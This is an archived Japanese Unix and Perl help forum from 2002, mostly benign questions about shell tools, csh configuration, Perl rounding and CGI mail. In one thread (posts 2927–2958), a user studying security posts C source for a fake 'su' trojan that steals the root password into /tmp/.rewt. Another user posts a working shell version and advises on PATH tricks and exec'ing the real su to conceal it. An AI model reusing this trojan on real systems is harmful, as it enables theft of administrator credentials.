アップロードするCGIにはCGI.pmやcgi-lib.pl等のモジュールは仕様していません。
(それが原因でしょうか?)

サーバのログには以下のように出ています。
(1)[14:17:57] "GET /xxx/ファイル入力用.cgi?flg=1 HTTP/1.1" 200 3413
(2)[14:57:11] "POST /xxx/アップロード用.cgi HTTP/1.1" 200 841

アップロードを行う(2)に処理が移るまでに、40分かかっています。
ということは、データのバッファリングに40分かかっているということなのでしょうか?

No. 2902 # 松本智也 [E-mail] 2002/09/25 (水) 12:15:00
友人がRS/6000でTCP/IPのパケット情報をmili sec単位で取得しそれをレポートとして出力したいんですが何か方法はありますか?

No. 2903 # tomu 2002/09/26 (木) 10:02:13
こんにちわ
いつもお世話になってます。

grepコマンドである検索文字列と、
その次の行を検索すると言うことは、
出来ないでしょうか?

たとえば、
ファイルの中身が
-------------------
aaa\n(改行)
bbb\n(改行)
ccc\n(改行)

aaa\n(改行)
ddd\n(改行)
eee\n(改行)
-------------------

と言うファイルがあったときに、
aaa\n(改行)
bbb\n(改行)

aaa\n(改行)
ddd\n(改行)

という結果を返して貰うことは出来ないでしょうか?

宜しくお願いします。

No. 2904 # D 2002/09/26 (木) 23:33:59
>>2903 tomu

http://x68000.startshop.co.jp/~68user/unix/pickup?grep
をご覧ください。

No. 2905 # tomu 2002/09/27 (金) 10:41:08
Dさん
見逃してました numオプション ^^;
ありがとうございました。

No. 2906 # MATSU 2002/09/27 (金) 15:43:52
はじめまして。

はじめてで恐縮ですが、質問させてください。
sortコマンドでカンマ区切りのdatファイルを
1番目と7番目の項目をキーに昇順、
5番目と6番目の項目をキーに降順
という並べ替えをしたいのですが、可能でしょうか?
よろしくご教授願います。

No. 2907 # のぞみ [URL] 2002/09/29 (日) 06:00:34
こんにちは。
HPを開いているのですが質問があります。
BBSの方にアクセス制限をかけたい人物がいるのですが
どう、打ち込めばよいかわかりません。
BBSを借りている所に質問したのですが
なかなか返事が返ってこないのでこちらに頼ろうと思い
来させて頂きました。m(__)m
どうぞ宜しくお願い致します。
その人物のホスト名は↓
FLA1Aae071.kmm.mesh.ad.jp
なんですが、*.kmm.mesh.ad.jpと打つと
全然似てない私の方まで制限がかかってしまいました。
どう打てば宜しいのでしょうか?
すいませんが教えてください。m(__)m
あと、HPに描いた絵などを無断に使用する人物を
つきとめる事等はできますでしょうか?

No. 2908 # 通りすがり 2002/09/29 (日) 15:17:59
No.2906#MATSUさん
お使いの言語はPerlですか?
Perlメモ
http://www.din.or.jp/~ohzaki/perl.htm#SortMulti
に、複数項目でのソート方法が書いてありますね。
参考になりますでしょうか。

No. 2909 # Kanchan [E-mail] 2002/09/30 (月) 14:15:10
こんにちは。
初めて質問させていただきます。
Solalisのtarコマンドでファイルをtarファイルにまとめようとしたのですが、
    "ディレクトリ階層が深くダンプできません"
というエラーメッセージが出てうまくいきません。
    コマンド:tar cvf tarファイル ./対象ディレクトリ
対処方法を知っている方がいたら、教えていただけませんでしょうか?
よろしくお願いします。

No. 2910 # NT 2002/10/08 (火) 00:18:10
こんにちは
FreeBSDで鯖を立てながら
Perlで簡単なCGIを作っております
質問があるのですが
BBSなどでバイナリファイルのUPLoadは
どのように送ればよいのでしょうか
わかる方が居りましたらお答えをお願い申し上げます

No. 2911 # take 2002/10/10 (木) 12:12:08
突然ですが、
以前このページで紹介していたUNIX関連の本を教えていただけないでしょうか。

No. 2912 # D 2002/10/12 (土) 18:16:14
>>2911 take
右上にある全文検索フォームで適当な単語を入れてみましょう。
「書籍 or 本 or 出版社 or 著者 or 訳者」てな感じで。
あとは http://bookshelves.tripod.co.jp/ とか。

No. 2913 # (^^) 2002/10/17 (木) 23:49:14
こんにちは。突然ですが質問させて下さい。
プロセス番号0〜2の
(swapper)
/sbin/init --
(pagedaemon)
プロセスの役割は何でしょうか?

No. 2914 # G 2002/10/18 (金) 17:27:00
質問いたします。下記のコマンドの条件部分($NF ~ /'"$1"')の意味がいまいち理解できないので(最後のフィールドの中から1フィールド目の値を含むものというところまでわかるのですが・・・)、ご教示ください。
ps -el | awk '($NF ~ /'"$1"'/) {print $4}' mypid =$$

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2915 # 68user 2002/10/21 (月) 01:58:15
今更ですが、わかるものだけ回答しておきます。

>>2901 かなっぺ
> ということは、データのバッファリングに40分かかっていると
> いうことなのでしょうか?
web サーバが全データを受信し終わってから CGI プログラムを
起動しているのでしょう。本当にそうなのかどうかは、その 40分の
間に web サーバのプロセスのメモリ使用量がどう変化しているか
観察するといいでしょう。


>>2903 tomu
> grepコマンドである検索文字列と、その次の行を検索すると言うことは、
> 出来ないでしょうか?
GNU grep ならできますが、僕の試した限りでは Solaris 標準の
grep でこれができませんでした。何かやり方はあるのでしょうか?
grep で改行コードをひっかけられば解決なんですが。


>>2910 NT
> BBSなどでバイナリファイルのUPLoadはどのように送ればよいのでしょうか
テキストファイルのアップロードと全く同じでいけるはずです。


>>2913 (^^)
> (swapper)
> (pagedaemon)
スワップ制御とページング制御をする (カーネル内の) プロセスです。

> /sbin/init --
http://X68000.startshop.co.jp/~68user/unix/pickup?init をどうぞ。


>>2914 G
OS のバージョンと ps -el の結果とがないと、これの意図するところは
わかりません。

> ps -el | awk '($NF ~ /'"$1"'/) {print $4}' mypid =$$
awk が解釈するのは
    '($NF ~ /'

    '/) {print $4}'
だけで、$1 の部分はシェルが 1つ目の引数に置換するはずです。

No. 2916 # G 2002/10/21 (月) 09:42:23
>>2915 68user
情報不足で申し訳ございませんでした。しかし、私の疑問は解決致しました。
$1はフィールドではなく、スクリプトの引数を示すということですね。
ありがとうございました。

No. 2917 # G 2002/10/25 (金) 16:39:46
下記のスクリプトはHP-UXの/etc/rc.configファイルなのですが,${CFG_FILE##*/}と${fname##*[.,~\#]}の解読ができません。
どうかご教示ください。よろしくお願い致します。

for CFG_FILE in /etc/rc.config.d/* /etc/TIMEZONE
do
    fname=${CFG_FILE##*/}
    if [ -f $CFG_FILE -a "$fname" !="core" -a "${fname##*[.,~\#]}" = "$fname"]
    then . $CFG_FILE
    fi
done

No. 2918 # ふくし 2002/10/26 (土) 03:01:41
今日簡単なタテケイの問題がありました。タブ区切りで
    ブック名 ファイル名 数値A 数値B 数値C
    ・・・

というファイルをブック名ごとにサマリーし、やはりタブ区切りで
    ブック名 Σ数値A Σ数値B Σ数値C
    ・・・
というファイルを作らなければならなかったのですが、

    while(<STDIN>) {
        ($bname = $fname, $A, $B, $C) = split;
        $data{$bname}{A} += $A;
        $data{$bname}{B} += $B;
        $data{$bname}{C} += $C;
    }
    for $bname (sort keys %data) {
        print join, /\t/, $bname,
            $data{$bname}{A},$data{$bname}{B},$data{$bname}{C},"\n";
    }

とか書いたらどうしても数値が若干少なくなってしまいます。
数万行あって、ほとんどの行は合ってるんだけど
全体の数字が少ない、、。
しかも、カラム A と B は合ってるのに C だけ少ない。

よくよく見るとファイル名に空白が入ってて、
split /\t/ にしないといけなかったんでした。
しかも、ファイル名が空白のデータは特定のカラムにしか
データがなかった。
ふつうこんな間違い方はしませんが、同時に複数の問題が
発生していて、すごくハマりました(泣)

No. 2919 # みー [E-mail] 2002/10/27 (日) 17:33:09
はじめまして。さっそくなんですが質問です。
掲示板CGIを改造してメール送信機能をつけたのですが、改行が反映されていなかったり、題名が文字化けしたりしてます。
ソースはhttp://www.starcity.ne.jp/~hide/0test/treebbs+.txtです。
元はhttp://www.starcity.ne.jp/~hide/0test/treebbs-.txtです。
#------------------メール送信機能-------------------------#
open(MAIL,"| /usr/sbin/sendmail -t") || &error("送信できません。");
print MAIL <<"_MAIL_";
From: ars\@xx.xx
To: hide_mkhs\@yahoo.co.jp
MIME-Version: 1.0
Subject: A-train railway service
X-Mailer: Sendmail
Content-type: text/plain; charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit

投稿がありました。
名前:$name
題名:$subject
メールアドレス:$mail
ホームページ:$url
メッセージ:$msg
---------------------------------------
投稿者情報
IP:$ip
ホスト:$host
---------------------------------------
A-train railway service(http://www.starcity.ne.jp/~ars/)
_MAIL_
close(MAIL);
#--------------------メール送信機能------------------------#
こう書き加えたんですが…
いま題名はA-train…ですが、日本語にすると文字化けしてしまい、来たメールは
投稿がありました。
名前:みー
題名:新規
メールアドレス:ars@starcity.ne.jp
ホームページ:http://www.starcity.ne.jp/~ars/
メッセージ:<b>タグは‥?</b>どうでしょう?
---------------------------------------
投稿者情報
IP:218.133.200.111
ホスト:YahooBB218133200111.bbtec.net
---------------------------------------
A-train railway service(http://www.starcity.ne.jp/~ars/)
のように改行が反映されてなく、タグもみえみえです。しかも、レスの記号をあらわす">"は&gt;となってしまいます。

どうすればいいのか教えてください。

No. 2920 # ふくし 2002/10/29 (火) 02:10:19
>>2919 みー
メールは HTML じゃなくてプレーンテキストなので、
タグが見え見えだったり改行がそのままだったりするんでしょう。
HTML 形式を維持するなら
HTML メールをサポートしてるメーラーに
HTML 形式のメールを送ればいいんじゃないでしょうか。
(その場合ヘッダはどうなるんでしょうね。
    よくわかりません。よく広告とかで壁紙がついてきたりするから、
    できることはわかっているのだが、、)
題名が文字化けなのは、ISO-2022-JP を正しく読み込んで
ないからでしょう。ブラウザーが送ってくる文字はさまざまなので、
jcode.pl あたりで変換するとか。

No. 2921 # yuk 2002/10/30 (水) 11:50:10
こんにちは。
ちょっとわからないことが有ります。
ご存知の方は教えていただけますでしょうか。
cshで、

set str = "abc def" (←abcとdefの間は全角スペース)
echo $stf

とすると、

abc def (←abcとdefの間は半角スペース)

と表示されてしまいます。
なんとかsetで設定した通りに(全角スペースをそのままに)出力したいのですが、
どのようにすれば良いでしょうか?

No. 2922 # yuk 2002/10/30 (水) 11:52:39
>>2921(訂正)

echo $stf
ではなく
echo $str
でした。

No. 2923 # 68user 2002/11/01 (金) 22:50:29
>>2917 G
> 下記のスクリプトはHP-UXの/etc/rc.configファイルなのですが,
> ${CFG_FILE##*/}と${fname##*[.,~\#]}の解読ができません。
HP-UX の sh は知りませんが、FreeBSD の sh では
          ${parameter##word}
                          最長前置パターンの削除: まず word が展開され、その結果をパターン
                          として扱います。パラメータ parameter の左から、パターンに一致する
                          最長の部分を削除した文字列に置換されます。
とあるので、多分同じでしょう。

> ${CFG_FILE##*/}
basename(1) と同じでしょうね。

> ${fname##*[.,~\#]}" = "$fname"
ファイル名に . , ~ # が含まれていないことをチェックしている
のだと思います。

こういう場合は sh -x /etc/rc.config などとして、どういう
ふうに解析されているのかを調べるというのも一つの手です。

>>2921 yuk
> abc def (←abcとdefの間は半角スペース)
> と表示されてしまいます。
そういう処理をする csh があるとは知らなかったので、OS 名を
教えてください。で、本題ですが echo "$str" でいけるんじゃ
ないでしょうか。

No. 2924 # G 2002/11/06 (水) 13:47:19
2923>
ご返答ありがとうございました。
sh -x コマンドは初めて知りました。
これから活用させていただきます。

No. 2925 # なお@HP-UX11 2002/11/06 (水) 16:21:46
あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか?

No. 2926 # ふくし [E-mail] 2002/11/15 (金) 05:05:47
会社で UTF-8 と Big5(台湾)の変換ソフトが必要になったので、
ローカルに Perl 5.8 を入れてみました。
(ちょっとテストで失敗したんだけど、よくわかんないので
    入れてしまつた ;;;)
=== big5 => UTF-8 ===
#! perl
use encoding 'utf8', STDIN=>'big5';
while (<STDIN>) {
        print;
}
というのはうまくいったっぽいんですが、
=== UTF-8 => big5 ===
#! perl
use encoding 'big5', STDIN=>'utf8';
while (<STDIN>) {
        print;
}
というのは UTF-8 側に BOM(efbbbf)があると
そこがそのまま出てきます。
use encoding 'big5', STDIN=>'utf8';
を使わないで Encode の変換関数を明示的に呼ぼうと思うんですが
(で、BOM はもしあったら事前にカットする)
うまくいきませんでした。つたない質問ですみませんが
何かわかりましたらご教示ください。

No. 2927 # kiki 2002/11/17 (日) 21:23:54
はじめまして。
c言語で書かれたプログラムを使って, .bash_profileのPATHを変更したいのですが,
なかなかうまくいきません.どなたか教えていただけないでしょうか.

ソースは以下のとうりです.

#include<stdio.h>
#include<stdlib.h>

main(int argc, char *argv[])
{
    char buf[100];

    sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin");
    system(buf);

    exit(1);
}

コンパイルは通って,実行時にエラーは出ませんでした.
bufに文字列はしっかり送られていました.
export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin とターミナル上で
打つと,しっかりPATHは変更されました.

よろしくお願いします.

No. 2928 # G 2002/11/18 (月) 19:48:53
例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る簡単な方法はありませんでしょうか?

/HP-UX

No. 2929 # NAGISA 2002/11/18 (月) 20:17:26
はじめまして。こんばんは。UNIXについて質問があります。
与えられた引数を、そのままエコーバックするシェルスクリプトを作成しいのですが、どうしたらいいかわかりません。
アドバイスを頂けたら幸いです。よろしくお願いします。

No. 2930 # 68user 2002/11/18 (月) 21:28:01
>>2926 ふくし
すいませんが、わかりません。
# 僕の知識は perl-5.00503 で止まっているので…。

>>2927 kiki
system は内部で fork して、子プロセスが sh を実行します。

> sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin");
> system(buf);

によって、子プロセスが実行する sh の環境変数は変更されますが、sh は
すぐに終了してしまうので親プロセス (正確には親の親プロセス)に環境変数は
渡りません。

ではどうすればよいか、という話になりますが、
> .bash_profileのPATHを変更したいのですが,
なぜそれをやりたいのか、ここで本当にやりたいのは何かを考えてみると
対策も見えてくるかもしれません。


>>2928 G
> 例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る
> 簡単な方法はありませんでしょうか?
こんな感じでしょうか。
    % echo /aaa/bbb/ccc | sed 's|\(/[^/]*\).*|\1|'
    /aaa


>>2929 NAGISA
> 与えられた引数を、そのままエコーバックするシェルスクリプト
そういう場合は「エコーバック」とは言わないような気がしますが、
    #!/bin/sh
    echo $@
とか、
    #!/bin/sh
    for i in $@; do
        echo $i
    done
とか。

No. 2931 # 68user 2002/11/18 (月) 21:29:21
>>2925 なお@HP-UX11
> あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか?
ps コマンドなぞどうでしょうね。

No. 2932 # kiki 2002/11/19 (火) 12:53:52
>>2931 68userさん
お返事ありがとうございます.kikiです.

> .bash_profileのPATHを変更したいのですが,
セキュリティに関する勉強でsuコマンドになり済ますトロイ
について勉強していまして,実際に自分のPCで実験しています.

suコマンドを使うユーザのアカウントを入手してあるという場合
を想定して,自分の一般ユーザ権限から自分の管理者権限のパス
ワードを盗むという実験です.手順は

1.あるディレクトリにトロイをおいて
2.PATH変更,トロイ置場を先に検索するようにする.
3.コマンドsuでsuトロイ起動.盗んだパスワードをファイルに
  書き込んで,トロイは自分を削除する.
4.suコマンドをもう一度実行,本物のsuコマンドが起動

です.3.の手順までは問題なく進みましたが,4.を実行すると
bash: /suトロイ置場/suトロイ : そのようなファイルやディレクトリはない
といわれてしまいました.

suトロイは消えていたので,本物のsuを探しに行ってくれるはずなのですが,
どうやら本物のsuを探しにいってくれないようなのです.
もちろんPATHは本物のsuにも通っています.
そこで,suトロイの中でPATHを変更しようと思ったのです.

No. 2933 # G 2002/11/19 (火) 16:04:44
>>2930 68user
いつもありがとうございます。
ただ感謝と尊敬の念でいっぱいです。
また、宜しくお願いします。

No. 2934 # ふくし 2002/11/20 (水) 23:52:58
>2930
さん、ありがとうございます。
5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、
結構面白いっぽいですよ。
(インストールで失敗してるぼくの言うことじゃないが ;;;

No. 2935 # 68user 2002/11/21 (木) 04:13:12
>>2932 kiki
シェルを置き換えたのか、~/.bash_profile を書き換えて
自作 su を起動するようにしたのかよくわかりませんが、

> 2.PATH変更,トロイ置場を先に検索するようにする.
ができているなら、後は /usr/bin/su を起動すればいいだけ
だと思います。そこで PATH が出てくる理由がよくわかりません。


>>2934 ふくし
> 5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、
> 結構面白いっぽいですよ。
うっかりプログラミング Perl 第3版 (perl-5.6 用) なぞ買って
しまいましたが、ぜひ利用したいのは our ですね。次点はちょっと
安全になった open。

それ以外はまーいいやって感じです。

ときに our って C でいうところの
        int get_num(){
                static int num=1;
                return num++;
        }
        main(int argc, char *argv[])
        {
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
        }
のような static だと思い込んでいたんですが、今 本を読み直してみると
なんか違うような気も。

あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、
順番を保持するハッシュ (セットした順に keys が返ってくる) って
導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、
見つけられない。

# キー固定のハッシュは Class::Struct を使えばいいのかな。

No. 2936 # 68user 2002/11/21 (木) 04:23:03
>>2935 68user
> あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、
> 順番を保持するハッシュ (セットした順に keys が返ってくる) って
> 導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、
> 見つけられない。
みびょーに違う話のような気もしますが、perl-5.005_03 でも
      $john=[{age=>1, eyes=>2, weight=>3}, 47, "brown", 186];
      print "$john->{eyes}\n";
      print "$john->[2]\n";
てな書き方ができるんですねぇ。これは知らなかった。

No. 2937 # ふくし [E-mail] 2002/11/21 (木) 16:26:20
すいません、今度は Perl 5.005_03 の話です ;;;
経理システムで、
・単価はドル建てだが、セント未満の端数がありうる
    (1個につき 0.001 ドルとか)
・個数は「個」だが、1個未満の端数がありうる
    (0.1 個とか)
という条件で、単価x個数=売上を、
小数点以下第3位で切り捨て(小数点以下第2位まで)で求めよ、
という問題で
「100倍して int して100で割る」ということをしていました。

#! perl
$tanka = 10000.88; # ドル
$kosuu = 1; # 個
$uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍
print "uriage x 100 = $uriage100\n";
$uriage = int($uriage100)/100;
print "uriage = $uriage\n";

しかしこうすると、int(1000088) は 10000088 になるので、
uriage x 100 = 1000088
uriage = 10000.87
となります。もっとも手軽な回避方法はなんでしょうか。
もしお分かりでしたらご教示ください。

No. 2938 # 初心者 [E-mail] 2002/11/21 (木) 17:02:30
cshrcファイルの内容について皆さんにお聞きしたいです。
source .cshrcコマンドを出すときにUnmatchedといわれていますけど、
どこに問題があるかは良く分かりません。
cshrcの内容は以下のようになります*************
# .cshrc

# User specific aliases and functions
# alias rm 'rm -i'
alias ls 'ls --color'
alias cp 'cp -i'
alias mv 'mv -i'

#setenv PATH "/usr/sbin:/sbin:$PATH"
setenv NCARG_ROOT "/usr/local/ncarg"
setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin
              :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3
              :/home/hongbin/rams4.3/chq1/plvrams:$PATH"
#setenv LD_LIBRARY_PAYH "/usr/FFC/lib"
#setenv MANPATH "/usr/FFC/man:$NCARG_ROOT/man"

setenv PGI "/usr/pgi"

set path = ( $PGI/linux86/bin $path )

if($?MANPATH ==1) then
        setenv MANPATH $PGI/man:$MANPATH
else
        setenv MANPATH $PHI/man
endif

#setenv MANPATH "$MANPATH":$PGI/man
setenv LM_LICENSE_FILE "$PGI/license.dat"
setenv MANPATH "$PGI/man:$NCARG_ROOT/man"

set prompt='[%n@%m %c]#'

*****************
どこが間違っているでしょうか。
よろしくお願いします。

No. 2939 # 名無し 2002/11/21 (木) 17:07:21
>>2937 ふくし
sprintfは?

No. 2940 # 名無し 2002/11/21 (木) 17:09:27
>>2938 初心者
この書き方は出来るのかな??複数行にわたるクオート

setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin
                            :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3
                            :/home/hongbin/rams4.3/chq1/plvrams:$PATH"

No. 2941 # 68user 2002/11/21 (木) 17:14:28
>>2937 ふくし
勘定系ってやっぱり BCD だったりするんだろうかと思いつつ、
こういうときの常套手段を知らないので、しばし傍観。

>>2938 初心者
csh -fv .cshrc しましょう。あるいは、1行ずつ手でタイプ
(あるいはマウスでコピペ) しましょう。どこに問題があるのか
わかります。

No. 2942 # ふくし [E-mail] 2002/11/21 (木) 17:30:37
>>2940 名無し
さん、ありがとうございます。

sprintf は四捨五入なんですね。
ということはあらかじめ 0.005 を引いておけばよい?
−−−−−−−−−−プログラム−−−−−−−−−−−−−−>8
#! perl

while (<DATA>) {
                chomp;
                $tanka = $_; # ドル
                print "tanka = $tanka ";
                $tanka -= 0.005; # 切り捨てたいから
                $kosuu = 1; # 個
                $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍
                $uriage = $uriage100 / 100;
                $uriage = sprintf "%.2f", $uriage;
                print "uriage = $uriage\n";
}
−−−−−−−−−−プログラム終わり−−−−−−−−−−−>8
実行結果。
> keisan
tanka = 10000.88 uriage = 10000.88
tanka = 10000.881 uriage = 10000.88
tanka = 10000.882 uriage = 10000.88
tanka = 10000.883 uriage = 10000.88
tanka = 10000.884 uriage = 10000.88
tanka = 10000.885 uriage = 10000.88
tanka = 10000.886 uriage = 10000.88
tanka = 10000.887 uriage = 10000.88
tanka = 10000.888 uriage = 10000.88
tanka = 10000.889 uriage = 10000.88

なんかできてるっぽい、、?

__DATA__
10000.88
10000.881
10000.882
10000.883
10000.884
10000.885
10000.886
10000.887
10000.888
10000.889

No. 2943 # 68user 2002/11/21 (木) 17:38:02
>>2942 ふくし
これなんかどうでしょうね。
http://www.harukaze.net/~mishima/perl/faq/newbiefaqpgm.html#5

> $uriage = $uriage100 / 100;
最後に 100 で割るのがなんかおそろしいなぁ。

値によっては循環小数になったりしないのかな。循環小数になっても
%.2f してるから OK?

No. 2944 # ふくし 2002/11/21 (木) 17:49:16
すいません、お騒がせしております ;;;
100 で掛けたり、割ったりしているのは、
int を使いたかったからで、
sprintf を使っている以上、必要ないですね。

(切り捨ての場合)
while (<DATA>) {
                chomp;
                $tanka = $_; # ドル

                print "tanka = $tanka ";

                $tanka -= 0.005; # 切り捨てたいから
                $kosuu = 1; # 個

                $uriage = sprintf "%.2f", $tanka * $kosuu;

                print "uriage = $uriage\n";
}

四捨五入の場合は 0.005 を引くのをやめるとか。

No. 2945 # ふくし 2002/11/21 (木) 18:32:31
だめでした ;;;
sprintf "%.2f", $a;
に、$a に 10000.005 を渡すと、10000.00 になります。
(環境に依存しまくるかな。FreeBSD 2.2.8_Release、Perl 5.005_03)

しょうがないので . で split して、、いろいろしようと思います ;;;

ちなみに 68User さん、BCD というのはモジュールありますか?
CPAN で検索したら EBCDIC_convert なんとかというのしか
見つかりませんでした ;;;

No. 2946 # ふくし 2002/11/21 (木) 19:18:10
一人で駄投稿を繰り返して大変申し訳ありません。
けっきょく 100 倍して 0.5 を足して 100 で割る形式に戻し、
変数をすべて Math::BigFloat にしました。
なんとなくできているような気がしますが、
これぐらいの時間帯になってくると
「いったい何ができてるってことなのか」わからなくなってくるので ;;;
明日また考えます。X68000 さん、名無しさん、ありがとうございました。
何かありましたらよろしくお願いします。

No. 2947 # ふくし 2002/11/22 (金) 00:32:45
家に帰って思ったけど dc コマンドを `` で囲んでもよかったかも ;;;

No. 2948 # hsj 2002/11/22 (金) 19:58:19
>>2947 ふくし
もう解決してらっしゃる様ですが、最初のソースの
$uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍

$uriage100 = $tanka * $kosuu * 100 + 0.05; # 売上の 100 倍
みたいにして、端数の発生しない桁(この例なら0.01セントの桁)で
適当な数字を足してやると良いんじゃないでしょうか。
端数の発生しない桁が決められない場合はダメですが・・・。
#ぱっとみて思いついただけなんで全然的外れかもしれません

No. 2949 # tak 2002/11/24 (日) 00:25:59
はじめまして。FreeBSD4.6.2-RELEASEとXFree86 4.2をインストールして、XDMからログインしようとしているのですが、rootではログインできるのですが、一般ユーザだとログインできたと思ってもすぐにもとのログイン画面に戻ってしまいます。.xsessionは作っていないので記述ミスはないと思うのですが、なぜ一般ユーザだとログインできないのか分かりません。どなたか対処法を知っている方がいましたら教えていただきたいのですが。
よろしくお願いします。

No. 2950 # tak 2002/11/25 (月) 23:02:58
解決しました。

No. 2951 # 68user 2002/11/26 (火) 00:22:14
>>2945 ふくし
> ちなみに 68User さん、BCD というのはモジュールありますか?
binary decimal で検索したら、これがひっかかりました。
      http://search.cpan.org/author/JPEACOCK/Math-FixedPrecision-0.21/FixedPrecision.pm

No. 2952 # kiki 2002/11/26 (火) 19:27:25
>68userさん,お返事が送れて申し訳ありません.kikiです

>> 2.PATH変更,トロイ置場を先に検索するようにする.
>> ができているなら、後は /usr/bin/su を起動すればいいだけ
>> だと思います。そこで PATH が出てくる理由がよくわかりません。

たしかにcshなどのシェルはsuトロイが動いた後にsuコマンド
を打ち込むと,本物のsuが問題なく立ち上がるのですが,

bashの場合,suトロイが動いた後にsuコマンドを打ち込むと,
bash:/suトロイ置場/suトロイ:そのようなファイルやディレクトリはない

といわれてしまいました.
suトロイは消えていたので,本物のsuを探しに行ってくれるはずな
のですが,どうやら本物のsuを探しにいってくれないようなのです.
もちろんPATHは本物のsuにも通っています.そこで,
suトロイの中でPATHを変更しようと思ったのです.

こちらも理由を考えていたのですがわかりません.
バージョンは bash-2.04-1v14です.
何か,こころあたりがございましたら,
御教授願います.よろしくお願いします.

No. 2953 # 68user 2002/11/28 (木) 02:09:57
>>2952 kiki
具体的に何をやっているのかが全く見えないです。遠回しな
書き方をしないでスクリプトを提示するなりしてください。

なお、FreeBSD 4.7-RELEASE+bash-2.05.0(1)-release では
成功しました (意図通りの挙動かどうかはわかりませんが)。

bash-2.05$ PATH=.:$PATH
bash-2.05$ cat su
#!/bin/sh
echo -n "(Trojan su)Password: "
stty -echo
read a
stty echo
echo ""
echo "Sorry (Your password [$a] is captured!)"
mv su su.bak
bash-2.05$ type su
su is hashed (./su)
bash-2.05$ su
(Trojan su)Password:
Sorry (Your password [hoge] is captured!)
bash-2.05$ which su
/usr/bin/su
bash-2.05$ su
Password:
Sorry

No. 2954 # kiki 2002/11/28 (木) 02:58:00
>>68user様
お返事ありがとうございます.kikiです.
申し訳ありません.トロイのソースを書き込ませていただきます.
cで書かれたトロイを使っています.
トロイの置き場所は /home/koko/.oite です.

#include <stdio.h>
#include <stdlib.h>
#define SU_PASS "/tmp/.rewt"

main (int argc, char *argv[])
{
          char *key;
          char buf[40];
          FILE *fd;
          
          key = (char *)getpass ("Password:");
          fd = fopen(SU_PASS,"w");
          fprintf(fd, "pass: %s\n", key);
          fclose(fd);
          printf ("su: incorrect password\n");
          sprintf(buf, "rm /home/koko/.oite/%s", argv[0]);
          system(buf);
          exit (1);
}

よろしくお願いします.
こちらでも引続き原因を調べてみます.

No. 2955 # 68user 2002/11/28 (木) 03:23:12
>>2954 kiki
つまりやってることは
>>2953 68user
のスクリプトと同じなわけで、こちらで実行すると 2回目の su で
/usr/bin/su を実行してくれました。

ということは bash が原因なわけで、ハッシュテーブルを再構築
しない設定になっているのでは、などを疑うべきなんでしょうけど、
bash は使ってないのでよくわかりません (勝手にハッシュテーブル
再構築してくれるんじゃないのかな?)。そこらへん何か設定がある
んでしたっけ。

あとは bash の最新版を入れてみるとか。

No. 2956 # 68user 2002/11/28 (木) 07:52:05
>>2954 kiki
bash-2.03.0(1)-release と bash-2.05a.0(1)-release でやって
みましたが、どうやら
    PATH=.:$PATH
だと OK (/usr/bin/su が実行される) ですが
    PATH=/foo/bar:$PATH
と絶対パスで設定すると /foo/bar/su が hash に残っているようですね。

マニュアルを読む限りでは bash の仕様のような気がしますし、相対
パスのコマンドが hashing されていた場合は (カレントディレクトリが
移動しているかもしれないので) 再度 PATH を検索する、というのは
納得のいく挙動です。

# でも、もしかしたら bash のバグかもしれません。

解決策としては
    % shopt -s checkhash
があげられるでしょうけど、これだと操作者の協力が必要なので、トロイの
su を作るという目的を第一に考えるのであれば、

    1. PATH=../../../../../../../../../../../../home/foo/bar:$PATH とする。
          カレントディレクトリの階層があまりに深くなければ、これでいける。
    2. トロイ版 su の中で /usr/bin/su を exec する

といったところでしょうが、普通は 2 のような気がします
(作ったことないのでわからんけど)。

No. 2957 # ふくし [E-mail] 2002/11/28 (木) 16:12:20
みなさん、計算の問題でフォローアップありがとうございます。
とりあえず Math::BigFloat で快適です。
3471943.48 および 3471943.488 という数を 0 と比較すると
おかしいという現象があって一瞬ひやっとしましたけど、
5.005003 ではバグってるけど 5.6.0 では直ってるようでした。

■ソース
#! perl
use Math::BigFloat;

while (<DATA>) {
        chomp;
        $num = Math::BigFloat->new($_);

        if ($num >= 0) {
                print "$num is larger-equal than 0\n";
        } else {
                print "$num is not larger-equal than 0\n";
        }

        $cmp = $num->fcmp("0");
        print "compare $num vs 0: $cmp\n";
}

__DATA__
3471943.488
3471943.48
3

■5.005003 での実行結果
3471943.488 is not larger-equal than 0
compare 3471943.488 vs 0: -1
3471943.48 is larger-equal than 0
compare 3471943.48 vs 0: -1
3. is larger-equal than 0
compare 3. vs 0: 1

■5.6.0 での実行結果
3471943.488 is larger-equal than 0
compare 3471943.488 vs 0: 1
3471943.48 is larger-equal than 0
compare 3471943.48 vs 0: 1
3. is larger-equal than 0
compare 3. vs 0: 1

No. 2958 # kiki 2002/11/29 (金) 17:50:58
>>2956 68user様
またお返事が送れて申し訳ありません.kikiです.

お返事ありがとうございます.早速ためしてみます.
この質問を通じて,いろいろ知らないこともわかったので
その点でもとても勉強になりました.
ありがとうございました.

No. 2959 # KENT1 2002/11/30 (土) 23:50:22
初めてになりますが、質問がありますので、お力添えをお願いします。
プログラムの実行時間を計るために、timeコマンドがありますが、このときに出力される結果を、指定したファイルに書き込む方法はないでしょうか?
リダイレクトを使って、
time 実行するコマンド > ファイル名
